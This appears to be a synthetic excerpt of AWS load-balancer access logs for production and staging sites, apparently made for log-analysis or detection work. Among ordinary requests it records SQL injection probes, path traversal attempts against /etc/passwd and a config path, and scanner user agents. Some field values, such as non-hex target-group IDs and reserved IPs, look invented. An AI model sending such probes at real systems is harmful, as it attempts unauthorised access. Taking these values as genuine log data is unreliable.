"Root=1-6723be19-eaf64fa392d54cc5be5d071d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:27:53.834420Z "forward" "-" "-" "10.0.133.119:443" "200" "-" "-" -https 2024-11-01T00:27:54.936402Z prod-web-alb 121.215.20.164:11972 10.0.77.240:443 0.092239 0.011507 0.019565 200 200 750 13304 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be1a-ec2f9e3be7ef43baa906b9e0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:54.936402Z "forward" "-" "-" "10.0.77.240:443" "200" "-" "-" -https 2024-11-01T00:27:56.149101Z prod-web-alb 157.190.191.201:30698 10.0.38.93:443 0.023202 0.124544 0.040844 200 200 544 8087 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be1c-9f3c54fce1924c5f92353882" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:56.149101Z "forward" "-" "-" "10.0.38.93:443" "200" "-" "-" -https 2024-11-01T00:27:56.465441Z prod-api-alb 185.181.39.39:42611 10.0.254.243:443 0.076788 0.312315 0.078973 200 200 522 4994 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be1c-10f3b7dbab8e4aea8f179d41" "-" "-" 2 2024-11-01T00:27:56.465441Z "forward" "-" "-" "10.0.254.243:443" "200" "-" "-" -https 2024-11-01T00:27:57.037103Z prod-web-alb 125.250.7.130:11933 10.0.96.128:443 0.088910 0.122544 0.021723 200 200 701 12125 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be1d-d21965c9bba041e39af0feff" "prod-web-alb.example.com" "-" 0 2024-11-01T00:27:57.037103Z "forward" "-" "-" "10.0.96.128:443" "200" "-" "-" -https 2024-11-01T00:27:58.124595Z prod-web-alb 1.236.143.43:28439 10.0.227.237:443 0.059241 0.355442 0.093878 302 302 638 3460 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be1e-92b29f9fe23a49b083c74574" "prod-web-alb.example.com" "-" 9 2024-11-01T00:27:58.124595Z "forward" "-" "-" "10.0.227.237:443" "302" "-" "-" -http 2024-11-01T00:27:59.871097Z staging-alb 163.17.205.87:38487 39.152.157.99:8080 0.022548 0.511453 0.089928 302 302 149 2833 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be1f-434542090449443fb0c4f174" "staging-alb.example.com" "-" 10 2024-11-01T00:27:59.871097Z "forward" "-" "-" "39.152.157.99:8080" "302" "-" "-" -https 2024-11-01T00:28:01.516414Z prod-api-alb 49.168.216.223:55499 10.0.83.181:443 0.029255 0.104083 0.088694 301 301 235 8383 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be21-c3ede85b31724e099c741b15" "prod-api-alb.example.com" "-" 7 2024-11-01T00:28:01.516414Z "forward" "-" "-" "10.0.83.181:443" "301" "-" "-" -https 2024-11-01T00:28:02.020109Z prod-web-alb 185.181.166.125:61634 10.0.131.237:443 0.039672 0.138179 0.052332 301 301 799 13649 "POST /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be22-e10ec24280644f41934b9612" "-" "-" 0 2024-11-01T00:28:02.020109Z "forward" "-" "-" "10.0.131.237:443" "301" "-" "-" -https 2024-11-01T00:28:02.823256Z prod-api-alb 168.91.39.168:13578 10.0.179.8:443 0.044858 0.023153 0.002291 301 301 270 1234 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be22-79c478865e26408bbd295c3e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:28:02.823256Z "forward" "-" "-" "10.0.179.8:443" "301" "-" "-" -https 2024-11-01T00:28:03.195245Z staging-alb 101.108.188.43:13574 78.221.160.208:8080 0.078069 0.334620 0.029800 200 200 842 13864 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be23-593c219786d14c7593af47a8" "staging-alb.example.com" "-" 9 2024-11-01T00:28:03.195245Z "forward" "-" "-" "78.221.160.208:8080" "200" "-" "-" -https 2024-11-01T00:28:04.169462Z prod-api-alb 95.19.142.74:37961 10.0.127.19:443 0.092000 0.235296 0.015749 200 200 968 4626 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be24-419b16f5dc614515ab3abf60" "prod-api-alb.example.com" "-" 7 2024-11-01T00:28:04.169462Z "forward" "-" "-" "10.0.127.19:443" "200" "-" "-" -https 2024-11-01T00:28:04.311449Z prod-web-alb 185.181.39.39:36618 10.0.114.64:443 0.076809 0.251771 0.038214 200 200 281 8571 "GET /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be24-3638dc5208da49ada6d6f368" "-" "-" 2 2024-11-01T00:28:04.311449Z "forward" "-" "-" "10.0.114.64:443" "200" "-" "-" -https 2024-11-01T00:28:05.512352Z staging-alb 173.228.50.31:37469 161.200.19.240:80 0.003338 0.232856 0.146266 302 302 381 3757 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be25-91b0664f689a45769a60cc21" "staging-alb.example.com" "-" 7 2024-11-01T00:28:05.512352Z "forward" "-" "-" "161.200.19.240:80" "302" "-" "-" -http 2024-11-01T00:28:07.311518Z staging-alb 28.228.111.105:43635 209.63.153.8:443 0.015701 0.617743 0.057961 302 302 325 561 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be27-7650b50ca5094526bc2ad3bc" "staging-alb.example.com" "-" 0 2024-11-01T00:28:07.311518Z "forward" "-" "-" "209.63.153.8:443" "302" "-" "-" -http 2024-11-01T00:28:07.773282Z staging-alb 98.196.38.33:11782 154.38.8.125:80 0.087629 0.573918 0.095555 200 200 693 4787 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be27-e6e0dd960ecc40c38da9ca9d" "staging-alb.example.com" "-" 3 2024-11-01T00:28:07.773282Z "forward" "-" "-" "154.38.8.125:80" "200" "-" "-" -https 2024-11-01T00:28:09.651835Z prod-web-alb 65.134.46.142:43103 10.0.225.117:443 0.083206 0.357596 0.024227 200 200 614 2336 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be29-82b2cad61fca4e14b04982de" "prod-web-alb.example.com" "-" 0 2024-11-01T00:28:09.651835Z "forward" "-" "-" "10.0.225.117:443" "200" "-" "-" -https 2024-11-01T00:28:09.911186Z staging-alb 126.171.116.153:19416 51.52.237.179:443 0.039029 0.337619 0.054633 200 200 562 9246 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be29-2f73507dbcaf4d4e96edaaaa" "staging-alb.example.com" "-" 7 2024-11-01T00:28:09.911186Z "forward" "-" "-" "51.52.237.179:443" "200" "-" "-" -https 2024-11-01T00:28:11.462528Z prod-api-alb 10.225.159.211:46688 10.0.125.143:443 0.014510 0.452552 0.071487 200 200 958 10770 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be2b-4df4ca41fd884a3796ca48d8" "prod-api-alb.example.com" "-" 2 2024-11-01T00:28:11.462528Z "forward" "-" "-" "10.0.125.143:443" "200" "-" "-" -https 2024-11-01T00:28:12.132244Z prod-web-alb 240.24.158.57:11736 10.0.115.144:443 0.099309 0.170928 0.030656 302 302 183 12267 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be2c-4e04b980e7154ab2b5bc8286" "prod-web-alb.example.com" "-" 7 2024-11-01T00:28:12.132244Z "forward" "-" "-" "10.0.115.144:443" "302" "-" "-" -http 2024-11-01T00:28:12.254244Z staging-alb 185.181.51.36:29063 95.126.94.207:443 0.114488 0.538592 0.110219 403 403 263 9904 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be2c-0384370a2aff43b28f61142b" "-" "-" 1 2024-11-01T00:28:12.254244Z "forward" "-" "-" "95.126.94.207:443" "403" "-" "-" -http 2024-11-01T00:28:12.602302Z staging-alb 152.185.89.39:15870 20.98.230.54:443 0.021854 0.238057 0.125324 301 301 340 7073 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be2c-142864b8da024d839b6ffdb9" "staging-alb.example.com" "-" 4 2024-11-01T00:28:12.602302Z "forward" "-" "-" "20.98.230.54:443" "301" "-" "-" -https 2024-11-01T00:28:12.782158Z prod-api-alb 205.64.182.18:64091 10.0.145.227:443 0.015695 0.152824 0.066655 200 200 406 9320 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be2c-709e49ddcdbc4663b53eeddd" "prod-api-alb.example.com" "-" 9 2024-11-01T00:28:12.782158Z "forward" "-" "-" "10.0.145.227:443" "200" "-" "-" -https 2024-11-01T00:28:13.803771Z prod-web-alb 159.148.94.40:29450 10.0.57.27:443 0.080734 0.158499 0.024308 302 302 80 11132 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be2d-2a5fbe78430c416ba33b5839" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:13.803771Z "forward" "-" "-" "10.0.57.27:443" "302" "-" "-" -https 2024-11-01T00:28:15.260696Z prod-web-alb 43.194.143.118:27344 10.0.123.108:443 0.084543 0.088305 0.010844 200 200 774 12250 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be2f-40beda2bfc5244a88e7b51dc" "prod-web-alb.example.com" "-" 4 2024-11-01T00:28:15.260696Z "forward" "-" "-" "10.0.123.108:443" "200" "-" "-" -https 2024-11-01T00:28:16.269849Z prod-api-alb 174.228.159.111:26757 10.0.19.134:443 0.004326 0.383762 0.080323 302 302 167 8533 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be30-8f78da7130fc4debac691158" "prod-api-alb.example.com" "-" 3 2024-11-01T00:28:16.269849Z "forward" "-" "-" "10.0.19.134:443" "302" "-" "-" -https 2024-11-01T00:28:18.163611Z prod-api-alb 129.14.84.67:47294 10.0.250.5:443 0.052440 0.191579 0.076203 200 200 817 11561 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be32-bca1df13a8f34d7fa1a5a1b3" "prod-api-alb.example.com" "-" 4 2024-11-01T00:28:18.163611Z "forward" "-" "-" "10.0.250.5:443" "200" "-" "-" -https 2024-11-01T00:28:18.826284Z prod-web-alb 74.123.149.235:20423 10.0.50.155:443 0.031448 0.390113 0.086752 200 200 747 2558 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be32-1cc9042a8dd342b292653f16" "prod-web-alb.example.com" "-" 9 2024-11-01T00:28:18.826284Z "forward" "-" "-" "10.0.50.155:443" "200" "-" "-" -https 2024-11-01T00:28:20.447354Z prod-web-alb 68.215.224.193:51267 10.0.167.6:443 0.064431 0.014551 0.074107 301 301 952 4415 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be34-c90bc1df70104602a548ca80" "prod-web-alb.example.com" "-" 0 2024-11-01T00:28:20.447354Z "forward" "-" "-" "10.0.167.6:443" "301" "-" "-" -https 2024-11-01T00:28:22.248360Z prod-web-alb 71.236.182.10:52476 10.0.57.224:443 0.030276 0.070092 0.034655 200 200 464 6777 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be36-048374821ce940d19efb9a09" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:22.248360Z "forward" "-" "-" "10.0.57.224:443" "200" "-" "-" -https 2024-11-01T00:28:23.475721Z prod-api-alb 215.249.109.98:56678 10.0.228.92:443 0.042556 0.494064 0.092981 200 200 152 1281 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be37-20accccb85864d8e93cbae8c" "prod-api-alb.example.com" "-" 1 2024-11-01T00:28:23.475721Z "forward" "-" "-" "10.0.228.92:443" "200" "-" "-" -https 2024-11-01T00:28:24.596225Z prod-web-alb 59.79.114.82:23890 10.0.113.15:443 0.047791 0.494771 0.011988 200 200 909 13700 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be38-b5c097dfd36744b38b3ec047" "prod-web-alb.example.com" "-" 9 2024-11-01T00:28:24.596225Z "forward" "-" "-" "10.0.113.15:443" "200" "-" "-" -https 2024-11-01T00:28:26.257169Z prod-web-alb 193.27.228.181:13864 10.0.33.253:443 0.014050 0.256058 0.026405 403 403 323 8417 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be3a-27e5e229161f4924b767b08a" "-" "-" 9 2024-11-01T00:28:26.257169Z "forward" "-" "-" "10.0.33.253:443" "403" "-" "-" -https 2024-11-01T00:28:27.877801Z prod-api-alb 65.20.104.242:62131 10.0.134.135:443 0.061554 0.000401 0.064023 200 200 968 10646 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be3b-d76f5c0324184945a53d2cc2" "prod-api-alb.example.com" "-" 8 2024-11-01T00:28:27.877801Z "forward" "-" "-" "10.0.134.135:443" "200" "-" "-" -https 2024-11-01T00:28:28.333514Z prod-api-alb 239.237.24.54:56545 10.0.216.233:443 0.095695 0.163624 0.091991 200 200 802 4207 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be3c-7bb83db98343458e9a184320" "prod-api-alb.example.com" "-" 0 2024-11-01T00:28:28.333514Z "forward" "-" "-" "10.0.216.233:443" "200" "-" "-" -http 2024-11-01T00:28:28.841089Z staging-alb 127.156.50.189:13854 243.91.50.243:443 0.025840 0.087612 0.090070 200 200 577 11030 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be3c-8de4a22e279a47eeaa8fef67" "staging-alb.example.com" "-" 8 2024-11-01T00:28:28.841089Z "forward" "-" "-" "243.91.50.243:443" "200" "-" "-" -https 2024-11-01T00:28:30.027347Z prod-web-alb 22.209.160.23:11586 10.0.104.108:443 0.078782 0.424019 0.016823 404 404 323 2168 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be3e-e9a708c1f67f48cc8d6fb7ed" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:30.027347Z "forward" "-" "-" "10.0.104.108:443" "404" "-" "-" -https 2024-11-01T00:28:31.736382Z prod-web-alb 79.114.96.1:33017 10.0.20.167:443 0.070079 0.128736 0.029196 404 404 231 9428 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be3f-66c7b44999d845deb800f914" "prod-web-alb.example.com" "-" 8 2024-11-01T00:28:31.736382Z "forward" "-" "-" "10.0.20.167:443" "404" "-" "-" -http 2024-11-01T00:28:32.800438Z staging-alb 255.179.126.48:50211 15.99.238.190:443 0.010646 0.697627 0.062132 200 200 665 4808 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be40-a750969e1d754c4cb2208c2a" "-" "-" 4 2024-11-01T00:28:32.800438Z "forward" "-" "-" "15.99.238.190:443" "200" "-" "-" -https 2024-11-01T00:28:32.901433Z prod-api-alb 18.86.2.45:16896 10.0.80.169:443 0.002733 0.056500 0.038355 200 200 576 8591 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be40-58f688967b2b4d269c03d486" "prod-api-alb.example.com" "-" 3 2024-11-01T00:28:32.901433Z "forward" "-" "-" "10.0.80.169:443" "200" "-" "-" -https 2024-11-01T00:28:34.602525Z prod-web-alb 146.102.85.154:43592 10.0.227.207:443 0.020112 0.441969 0.064232 301 301 906 10733 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be42-4180d70cccee4ee4bf8d60cc" "prod-web-alb.example.com" "-" 10 2024-11-01T00:28:34.602525Z "forward" "-" "-" "10.0.227.207:443" "301" "-" "-" -https 2024-11-01T00:28:36.195009Z prod-api-alb 75.231.200.11:18759 10.0.191.229:443 0.070433 0.014263 0.086987 404 404 216 5909 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be44-e7bd91e8fd234f18887727ac" "prod-api-alb.example.com" "-" 9 2024-11-01T00:28:36.195009Z "forward" "-" "-" "10.0.191.229:443" "404" "-" "-" -http 2024-11-01T00:28:37.806093Z staging-alb 253.185.37.62:60044 210.147.186.233:443 0.089638 0.085553 0.052182 302 302 654 6631 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be45-e56c879cf27644b3b7d592fa" "staging-alb.example.com" "-" 3 2024-11-01T00:28:37.806093Z "forward" "-" "-" "210.147.186.233:443" "302" "-" "-" -http 2024-11-01T00:28:39.782177Z staging-alb 112.129.173.29:25684 22.229.217.124:443 0.042993 0.251931 0.025722 200 200 948 6376 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be47-841a2f9e31bf4c92b6ed1fbe" "staging-alb.example.com" "-" 7 2024-11-01T00:28:39.782177Z "forward" "-" "-" "22.229.217.124:443" "200" "-" "-" -https 2024-11-01T00:28:41.032736Z prod-web-alb 23.200.146.223:42623 10.0.25.128:443 0.031477 0.484876 0.030606 200 200 813 1472 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be49-294556510fe64289a827bc8e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:28:41.032736Z "forward" "-" "-" "10.0.25.128:443" "200" "-" "-" -https 2024-11-01T00:28:41.292920Z prod-web-alb 188.198.12.143:60285 10.0.113.43:443 0.028077 0.370633 0.016491 200 200 908 13370 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be49-136c077669ba4083bdf14c7a" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:41.292920Z "forward" "-" "-" "10.0.113.43:443" "200" "-" "-" -https 2024-11-01T00:28:42.468017Z prod-api-alb 105.55.114.174:11618 10.0.224.105:443 0.046829 0.365632 0.087104 200 200 789 13984 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be4a-2867020b137a435886313a3c" "prod-api-alb.example.com" "-" 2 2024-11-01T00:28:42.468017Z "forward" "-" "-" "10.0.224.105:443" "200" "-" "-" -https 2024-11-01T00:28:43.907755Z prod-web-alb 226.77.214.161:54043 10.0.253.51:443 0.021834 0.093180 0.012440 302 302 261 8903 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be4b-1cb2b2cfb6494d34a94e0651" "prod-web-alb.example.com" "-" 10 2024-11-01T00:28:43.907755Z "forward" "-" "-" "10.0.253.51:443" "302" "-" "-" -https 2024-11-01T00:28:44.191342Z prod-api-alb 111.24.155.127:49169 10.0.224.55:443 0.026279 0.178872 0.023154 200 200 212 3830 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 